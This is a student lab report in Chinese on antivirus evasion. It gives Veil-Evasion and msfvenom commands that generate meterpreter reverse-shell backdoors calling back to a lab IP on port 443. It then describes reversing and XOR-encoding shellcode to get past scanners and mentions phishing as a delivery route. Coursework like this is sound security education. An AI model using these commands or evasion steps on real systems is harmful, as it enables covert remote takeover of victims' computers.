20145227鄢曼君《網絡對抗》免殺原理與實踐
基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?python
- 基於特徵:惡意代碼中通常會有一段有較明顯特徵的代碼也就是特徵碼,若是殺毒軟件檢測到有程序包含的特徵碼與其特徵碼庫的代碼相匹配,就會把該程序看成惡意軟件。
- 基於行爲:經過對惡意代碼的觀察、研究,有一些行爲是惡意代碼的共同行爲,並且比較特殊。因此當一個程序在運行時,殺毒軟件會監視其行爲,若是發現了這種特殊的行爲,則會把它當成惡意軟件。
(2)免殺是作什麼?shell
- 免殺是一種能使病毒木馬避免被殺毒軟件查殺的技術。我的理解就是避免殺毒軟件的查殺。
(3)免殺的基本方法有哪些?windows
- 加殼:經過加殼,讓殺毒軟件沒法進行反彙編、逆向工程,進而沒法分析代碼。
- 使用免殺平臺如
Veil-Evasion
等生成後門軟件。
- 改變攻擊行爲,好比反彈式鏈接能大大減小被阻止查殺的風險;或者在正常應用軟件中插入惡意代碼來達到目的。
- 也能夠本身編寫惡意軟件。
實踐過程記錄
免殺平臺Veil-Evasion
生成後門軟件
- Veil-Evasion是一個與Metasploit有點相似的軟件,已經在kali虛擬機裏。在終端下輸入指令
veil-evasion
可打開軟件,而後根據menu的提示依次鍵入如下指令:
use python/meterpreter/rev_tcp //設置payload
set LHOST 192.168.50.130 //設置反彈鏈接IP
set LPORT 443 //設置反彈端口443
generate
5227
1
- 其中5227是生成的程序名,一共有一、二、3三種選擇,通常選擇1是默認配置。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
- 打開靶機殺毒軟件,把生成的5227.exe拷到靶機。發現被查殺,能夠找回,而後添加信任。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
- 在靶機上運行5227.exe,kali成功獲取權限
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
利用shellcode編寫後門程序的檢測
- 在kali終端,執行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=443 -f c
,生成一個c語言格式的Shellcode數組.
![](http://static.javashuo.com/static/loading.gif)
- 將生成的代碼從虛擬機裏拷出來,用
Microsoft Visual Studio 2013
或者Visual C++ 6.0
進行編譯運行生成可執行文件ymj.exe。
- 而後在kali下進入MSF打開監聽進程,在靶機上運行可執行文件ymj.exe,kali成功獲取權限.
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
- 咱們能夠發現,利用shellcode編寫後門程序相比經過msfvenom指令生成一個可執行文件而言,風險下降了很多,可是仍被定性爲病毒文件,因此須要進一步修改代碼。
嘗試修改shellcode——將shellcode逆序
- 直接利用shellcode寫的C語言程序仍是不能實現免殺,仍會被發現,因此咱們能夠對這個數組作一些變化,好比將shellcode先進行逆序操做獲得另一個數組,而後以後再把它逆序回來,將原數組的內容進行改變,這樣在殺軟檢查時被發現的概率就減少了。以下圖。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
嘗試第二次:將shellcode逆序和異或結合
- 若是將shellcode逆序和異或結合會不會免殺率會更高呢?理論上應該是這樣,編寫代碼運行後,用VirSCAN.org進行檢測,結果發現只有2%的軟件能掃出來了。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
實踐總結與體會
- 作完此次實驗,我對於網絡安全的問題有了更深的體會。想一想以前一直以爲只要安裝好殺毒軟件,按期殺毒、給電腦體檢就能夠了,然而咱們本身都能實現免殺,更不要說那些惡意想要攻擊你電腦的人了,真的是防不勝防啊。在當今社會,到處離不開網絡,所以咱們要時時刻刻提升安全防範意識,按期檢查本身的電腦,防止別人惡意盜取利用本身的信息。但願能夠將本身學到的知識與實踐相結合,幫助別人解決更多的問題。
離實戰還缺些什麼技術或步驟?
- 在實際應用中,咱們不可能這麼容易將後門植入到別人的電腦,或許能夠經過釣魚網站之類的方法來實現。這點還須要咱們去思考,去探索。並且如今各類殺毒軟件層出不窮,它們的病毒庫在不斷地更新,功能也在不斷地完善,今天實現了免殺可能過段時間就失敗了,因此還須要咱們根據漏洞本身寫代碼,而不是用軟件來直接生成。